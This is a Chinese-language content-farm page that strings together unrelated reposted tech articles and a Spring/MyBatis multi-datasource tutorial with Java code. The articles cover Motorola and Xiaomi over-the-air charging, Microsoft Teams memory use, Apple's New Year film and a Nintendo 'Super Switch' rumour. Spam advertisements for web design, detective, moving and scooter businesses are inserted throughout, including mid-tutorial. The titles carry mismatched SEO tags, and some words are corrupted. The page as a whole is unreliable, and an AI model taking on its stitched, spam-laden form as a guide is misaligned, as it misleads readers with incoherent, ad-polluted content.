網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

◎資料來源:Gizmodo

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

不只是小米,Motorola 也展示自家隔空充電技術,只是有些限制.._網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

看過小米隔空充電技術的朋友,應該會覺得也太讚了,未來只要在特定範圍內,就能實現自動充電,不用再靠有線還是放在某個無線充電板。事實上除了小米之外,另一間 Motorola 稍早也發表自家隔空充電技術,跟小米有點類似,確實可以做到隔空充電,但目前看起來似乎有一些限制在。

Motorola 展示自家隔空充電技術

Motorola 這次發表的隔空充電技術,根據影片說明,可以在一公尺以內的距離內實現,他們拿兩支 Motorola Edge 手機進行測試,一開始都沒有在充電:

其中一台放在 100 公分的位置之後,手機畫面就會顯示正在充電:

另一台則放在近一點的 80 公分之處,一樣會變成正在充電:

不過跟小米不同,Motorola 現在的隔空充電技術不能被任何東西阻擋,要不然會失效,影片中也示範將手放在隔空充電裝置(One Hyper)前方,兩支手機就立刻變成無充電:

據說最多能實現 7 台手機同時充電,不過細節部分官方就沒有詳細說明,如:充電瓦數是多少、每一台獲得的充電速度是否一樣等等。

小米的隔空充電技術不會受到物體阻擋,且每一台都保證可獲得 5W 充電速度,因此整體來看目前小米的好像比較好一些。另外 Motorola 擺放手機的位置是在隔空充電裝置前方,因此也不確定是否有方向限制,如果有的話那使用性就會大幅受限。

完整影片,未來 Motorola Edge 系列有可能都會加入此充電技術:

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

 

隨著小米、Motorola 都發表自己的隔空充電技術,沒意外今年應該還會看到更多廠商也加入此行列。

未來不只是手機,其他科技產品也有機會支援此技術,變成以後所有東西都不用再煩惱充電問題,放在範圍內就會不斷的充電,光想就讓人很期待。

不過話說回來,雖然這技術真的很讚很方便,但對健康會不會造成任何影響,相信也是很多人非常關心的一點,這只能等之後的研究報告了。

資料來源:微博

真是 GaN!最迷你 105W 氮化鎵快充 Allite A2 開箱,超高充電效率超小體積(同場加映 Switch 最佳配件 Allite B1 20W)

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

微軟準備為 Microsoft Teams 瘦身,以改善記憶體大量佔用的問題_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

因為疫情的關係,迫使許多專業工作者必須在加工作,也讓各家通訊工具在這低迷的時局中大放光彩。Microsoft Teams 是微軟近幾年來重點推廣的通訊工具,因為有豐富多元的協作能力與各種資源的整合調用,使得許多企業將它視為團對聯繫首選,但它也並不是只好不壞,記憶體大量佔用就是它最為人所詬病的問題。

微軟準備為 Microsoft Teams 瘦身,以改善記憶體大量佔用的問題

Microsoft Teams 是目前最流行的商務通訊工具之一,但它同時也是對記憶體需求最大的應用程式之一,這表示若用戶的電腦規格較低的話,在使用這款應用程式時可能會遇到一些困難,使得無法同時運作其他應用程式。這個問題在微軟與 UserVoive 合作的平台上已經有許多用戶反應此問題,甚至有用戶表示光是 Teams 就能讓他 4GB 記憶體的電腦卡住不順,致使他別無選擇只能另覓蹊徑。

好消息是微軟已經開始努力解決這個問題,同樣在 Microsoft Teams 在 UserVoice 網頁上,微軟表示目前政治力於使 Teams 成為一個對記憶體需求較少的應用程式,而這也是一直以來最多用戶提出的希望。通常來說,Microsoft Teams 會在電腦中佔用 350 – 500MB 的記憶體資源,遠遠高過其他主流通訊工具,雖說目前還不知道會從改善到什麼程度,但很快地大家就能收到這樣的更新了。

工具中的功能多,對用戶來說極為便利,特別是 Microsoft Teams 中具有最大彈性的空間能夠工企業用戶發展成類似客製化的溝通利器,但同時也必須要設想到並非所有用戶的設備都足夠強大來運行,畢竟身為通訊工具本身屬於常駐程式(並非要用才打開,隨時都必須開著),倘若因為開著通訊工具就使得其他作業卡頓,那反而本末倒置了。

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

◎資料來源:MSPoweruser

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

不怕去探索,Apple 新春微電影《阿年》來了_貨運

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

雖然核心還是以「用 iPhone 拍攝」來展現蘋果智慧型手機拍攝的威能,但每次農曆春節觀看蘋果的微電影,好像也多少變成了一種習慣。今年,隨著全面升級到杜比視界的 iPhone 12 系列推出,Apple 也正式拿出了號稱「用 iPhone 12 Pro Max 重新定義電影拍攝」的新作品。除了讓人開始感受到年味以外,片中更包含了不少相當引人省思的意涵。繼續閱讀不怕去探索,Apple 新春微電影《阿年》來了報導內文。

▲ 圖片來源:Apple

不怕去探索,Apple 新春微電影《阿年》來了

即將迎接農曆新年,蘋果準備的不僅是有著超應景鐫刻的限量 AirPods Pro,更帶來了由 2020 金球獎提名最佳外語片《別告訴她》導演王子逸,與好萊塢原班製作團隊和 Apple 打造的奇幻賀歲片《阿年》。

想看的朋友可直接前往傳送門觀看(建議使用 Safari 瀏覽器打開,或是點入官網首頁,更能觀看到幕後花絮的片段)。

這部靈感源自於中國傳統年獸而來的故事,最令小編印象深刻的,不僅是片中小女孩天真蹦出口中的「為什麼我們要怕年獸?」,這樣讓人反思看待事物觀點的話語。更多是在於表情活靈活現的年獸本人(本獸?)的演出 — 原本還以為是動畫!

除了新年的主題外,這支標榜用 iPhone 12 Pro Max 所拍攝的影片,自然也因為今年升級到了搭載杜比視界等各項強大新規格的幫助下,使整體微電影的畫質、穩定度還有豐富的色彩表現都又有升級。

雖說影片有標示了此片有使用額外器材與應用,不過《阿年》拍攝的場景巧思也非常之多。包括父母威嚇小孩與爭吵的房間場景,就有點類似皮影戲感覺。也充分展現以強大運算式攝影為基礎的新世代 iPhone,在動態範圍方面所擁有的強大拍攝表現。

此外,拍攝團隊更充分利用行動攝影所帶來的輕巧特性,不僅可以將 iPhone 放在身上(甚至是嘴裡,嗯… 年獸的嘴裡)直接拍攝特殊鏡位。甚至在拍攝大自然翻滾玩樂畫面時,還很有創意地請出了輪椅,並將 iPhone 固定在輪軸來達到同步旋轉的拍攝手法。

就此片攝影指導所分享的心得,他認為 iPhone 12 Pro Max 的防震功能解鎖了更多攝影技術的可能性,而杜比視界則帶給他極大的震撼。導演王子逸則是希望通過這部影片來鼓勵觀眾,「只要想去拍就可以用 iPhone 去拍,無需多想什麼。」

這樣的精神,不僅在劇情中充分傳達到我們心中,透過手上的行動裝置就可以拍出這樣等級的作品,其實也真的可以激勵不少創作者。

畢竟,就連年獸都懂得拍 Vlog 了,你還有什麼理由不拿起手邊的工具開始創作呢(咦!)。

延伸閱讀:

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

用 iPhone 突破創作界線 ,《怪胎》導演廖明毅分享新電影創作心得

iPhone 破十億活躍用戶,還刷了一波史上最大升級潮紀錄

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

新版任天堂Swith命名曝光? 謠傳「Super Switch」搭配4K解析度OLED螢幕_包裝設計

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

那些衝著《魔物獵人:崛起》跑去訂購同捆機的獵友們,真的手腳要緩緩。其實近期一直不斷謠傳任天堂為了對抗PS5與Xbox Series X,計畫要推出Switch的高階版本「Switch Pro」。而近日友國外網友爆料,這款「Switch Pro」很有可能會被命名為「Super Switch」,同時搭載4K解析度的OLED螢幕,這名字真的很有任天堂的風格。

↑原本許多玩家都希望,在《魔物獵人:崛起》推出的時候,傳聞中的「Super Switch」也可以登場。

根據外媒報導指出,巴西記者Douglas Máximo過往就多次針對任天堂的事情進行爆料,而且準確度很高,讓不少人都在追蹤他的推特,希望能獲得最新的消息。而近日他在分享《魔物獵人:崛起》同捆機的消息時,表示「這樣看起來,傳聞中的Switch Pro應該不會與MH一起推出吧?」之後他又回應網友表示「基本上,如果未來會推出硬體更加強悍的新機的話,一開始就不會推出與遊戲同捆的主機,必須要等待任天堂的下個財政年度,才會知道他們要如何計劃。」而令人興奮的是,他在這邊留下了一個「Super Switch」的字樣,似乎是在暗示傳聞中的Switch Pro會被命名為「Super Switch」。

 

當然只有名字是不夠的,其實早在6日的時候,就有國外網友在resetera論壇上瘋狂爆料,表示任天堂正在開發提高遊戲解析度的新版Switch主機,這個計畫已經進行了快兩年,根據他的印象這版Switch的解析度會拉高到4K,代號為Aula。而且在新版的Switch主機中,不管是在散熱與電池壽命上,都會有顯著的提升。而螢幕本身是採取OLED螢幕。

 

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

而其實早在去年夏天的時候,任天堂的工作人員就曾經對一些遊戲開發者表示,請他們著手準備好4K解析度的遊戲與遊戲開發技術,甚至直接建議將原有的遊戲提供4K解析度版本的DLC方便玩家更新。

 

而由於《魔物獵人》系列一直都是非常需要硬體的怪獸,所以先前曾一度傳聞「Super Switch」會與《魔物獵人:崛起》同步推出,不過看這樣子,應該就只是玩家的希望而已。(玩過《魔物獵人:世界》後,誰受的暸回歸馬賽克獵人啦!)

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

MyBatis整合雙數據源_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

有時候在項目中會遇到需要連接兩個數據庫的情況。本文就結合Spring和Mybatis來講下怎麼使用雙數據源(或者是多數據源)。

背景知識介紹

本文中實現多數據源的關鍵是Spring提供的AbstractRoutingDataSource。這個類可以根據lookup key來實現底層數據源的動態轉換。

public abstract class AbstractRoutingDataSource extends AbstractDataSource implements InitializingBean {

	@Nullable
	private Map<Object, Object> targetDataSources;

	@Nullable
	private Object defaultTargetDataSource;

	private boolean lenientFallback = true;

	private DataSourceLookup dataSourceLookup = new JndiDataSourceLookup();

	@Nullable
	private Map<Object, DataSource> resolvedDataSources;

	@Nullable
	private DataSource resolvedDefaultDataSource;

	public void setTargetDataSources(Map<Object, Object> targetDataSources) {
		this.targetDataSources = targetDataSources;
	}

	public void setDefaultTargetDataSource(Object defaultTargetDataSource) {
		this.defaultTargetDataSource = defaultTargetDataSource;
	}

	public void setLenientFallback(boolean lenientFallback) {
		this.lenientFallback = lenientFallback;
	}

	public void setDataSourceLookup(@Nullable DataSourceLookup dataSourceLookup) {
		this.dataSourceLookup = (dataSourceLookup != null ? dataSourceLookup : new JndiDataSourceLookup());
	}


	@Override
	public void afterPropertiesSet() {
		if (this.targetDataSources == null) {
			throw new IllegalArgumentException("Property 'targetDataSources' is required");
		}
		this.resolvedDataSources = new HashMap<>(this.targetDataSources.size());
		this.targetDataSources.forEach((key, value) -> {
			Object lookupKey = resolveSpecifiedLookupKey(key);
			DataSource dataSource = resolveSpecifiedDataSource(value);
			this.resolvedDataSources.put(lookupKey, dataSource);
		});
		if (this.defaultTargetDataSource != null) {
			this.resolvedDefaultDataSource = resolveSpecifiedDataSource(this.defaultTargetDataSource);
		}
	}

	protected Object resolveSpecifiedLookupKey(Object lookupKey) {
		return lookupKey;
	}

	protected DataSource resolveSpecifiedDataSource(Object dataSource) throws IllegalArgumentException {
		if (dataSource instanceof DataSource) {
			return (DataSource) dataSource;
		}
		else if (dataSource instanceof String) {
			return this.dataSourceLookup.getDataSource((String) dataSource);
		}
		else {
			throw new IllegalArgumentException(
					"Illegal data source value - only [javax.sql.DataSource] and String supported: " + dataSource);
		}
	}


	@Override
	public Connection getConnection() throws SQLException {
		return determineTargetDataSource().getConnection();
	}

	@Override
	public Connection getConnection(String username, String password) throws SQLException {
		return determineTargetDataSource().getConnection(username, password);
	}

	@Override
	@SuppressWarnings("unchecked")
	public <T> T unwrap(Class<T> iface) throws SQLException {
		if (iface.isInstance(this)) {
			return (T) this;
		}
		return determineTargetDataSource().unwrap(iface);
	}

	@Override
	public boolean isWrapperFor(Class<?> iface) throws SQLException {
		return (iface.isInstance(this) || determineTargetDataSource().isWrapperFor(iface));
	}
    
	protected DataSource determineTargetDataSource() {
		Assert.notNull(this.resolvedDataSources, "DataSource router not initialized");
		Object lookupKey = determineCurrentLookupKey();
		DataSource dataSource = this.resolvedDataSources.get(lookupKey);
		if (dataSource == null && (this.lenientFallback || lookupKey == null)) {
			dataSource = this.resolvedDefaultDataSource;
		}
		if (dataSource == null) {
			throw new IllegalStateException("Cannot determine target DataSource for lookup key [" + lookupKey + "]");
		}
		return dataSource;
	}

	@Nullable
    //一般只需要用戶實現這個方法。
	protected abstract Object determineCurrentLookupKey();

}

實現流程

step1:實現一個自定義的AbstractRoutingDataSource

public class DynamicDataSource extends AbstractRoutingDataSource {

    //這邊定義了一個和線程綁定的ThreadLocal變量,用於存放需要使用的數據源的名稱
    private static final ThreadLocal<String> dataSourceNameHolder = new ThreadLocal<>();

    public DynamicDataSource(DataSource defaultTargetDataSource, Map<Object, Object> targetDataSources) {
        super.setDefaultTargetDataSource(defaultTargetDataSource);
        super.setTargetDataSources(targetDataSources);
        super.afterPropertiesSet();
    }

    @Override
    //重寫了AbstractRoutingDataSource的determineCurrentLookupKey方法
    protected Object determineCurrentLookupKey() {
        return getDataSource();
    }

    public static void setDataSource(String dataSource) {
        dataSourceNameHolder.set(dataSource);
    }

    public static String getDataSource() {
        return dataSourceNameHolder.get();
    }

    public static void clearDataSource() {
        dataSourceNameHolder.remove();
    }

}

step2:實現一個AOP對Service層方法進行AOP攔截,調用DynamicDataSource中的ThreadLocal變量,將當前請求需要使用的數據源名稱設置進去。

//定義一個DataSource註解
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface DataSource {
    String name() default "";
}
//這邊再定義一個常量
public interface DataSourceNames {
    String FIRST = "first";
    String SECOND = "second";

}

定義AOP處理DataSource註解

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

@Aspect
@Component
public class DataSourceAspect implements Ordered {
    protected Logger logger = LoggerFactory.getLogger(getClass());

    @Pointcut("@annotation(com.xx.yy.annotation.DataSource)")
    public void dataSourcePointCut() {

    }

    @Around("dataSourcePointCut()")
    public Object around(ProceedingJoinPoint point) throws Throwable {
        MethodSignature signature = (MethodSignature) point.getSignature();
        Method method = signature.getMethod();
        
        DataSource ds = method.getAnnotation(DataSource.class);
        //如果未指定數據源就使用第一個數據源
        if(ds == null){
            DynamicDataSource.setDataSource(DataSourceNames.FIRST);
            logger.debug("set datasource is " + DataSourceNames.FIRST);
        }else {
            DynamicDataSource.setDataSource(ds.name());
            logger.debug("set datasource is " + ds.name());
        }
        try {
            return point.proceed();
        } finally {
            DynamicDataSource.clearDataSource();
            logger.debug("clean datasource");
        }
    }
    @Override
    public int getOrder() {
        return 1;
    }
}

step3:對數據源進行配置

@Configuration
public class DynamicDataSourceConfig {

    @Bean
    @ConfigurationProperties("spring.datasource.druid.first")
    public DataSource firstDataSource(){
        return DruidDataSourceBuilder.create().build();
    }

    @Bean
    @ConfigurationProperties("spring.datasource.druid.second")
    public DataSource secondDataSource(){
        DataSource dataSource = DruidDataSourceBuilder.create().build();
        return dataSource;
    }

    @Bean
    @Primary
    @DependsOn(value = {"firstDataSource","secondDataSource"})
    public DynamicDataSource dataSource(DataSource firstDataSource,DataSource secondDataSource) {
        Map<Object, Object> targetDataSources = new HashMap<>();
        targetDataSources.put(DataSourceNames.FIRST, firstDataSource);
        targetDataSources.put(DataSourceNames.SECOND,  secondDataSource);
        return new DynamicDataSource(firstDataSource, targetDataSources);
    }
}

以上就是實現雙數據源的全部配置。

使用

使用的時候非常簡單,只需要在Service層的方法上加上@DataSource註解就可以了。

@DataSource(name = DataSourceNames.SECOND)
public String selectByInfoName(String name){
   //...
}

一些注意點

如果你使用了pageHelper等分頁插件,請將方言設置成自動模式, autoRuntimeDialect: true

pagehelper:
  reasonable: false
  supportMethodsArguments: true
  params: count=countSql
  autoRuntimeDialect: true

如果你使用了Druid數據源,並通過下面的形式創建數據源,要保障數據源的用戶名和密碼字段不為null。不然DruidDataSourceWrapper這個Bean會檢測這個字段的值,導致啟動失敗。


@Bean
    @ConfigurationProperties("spring.datasource.druid.first")
    public DataSource firstDataSource(){
        return DruidDataSourceBuilder.create().build();
    }

    @Bean
    @ConfigurationProperties("spring.datasource.druid.second")
    public DataSource secondDataSource(){
        DataSource dataSource = DruidDataSourceBuilder.create().build();
        return dataSource;
    }

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。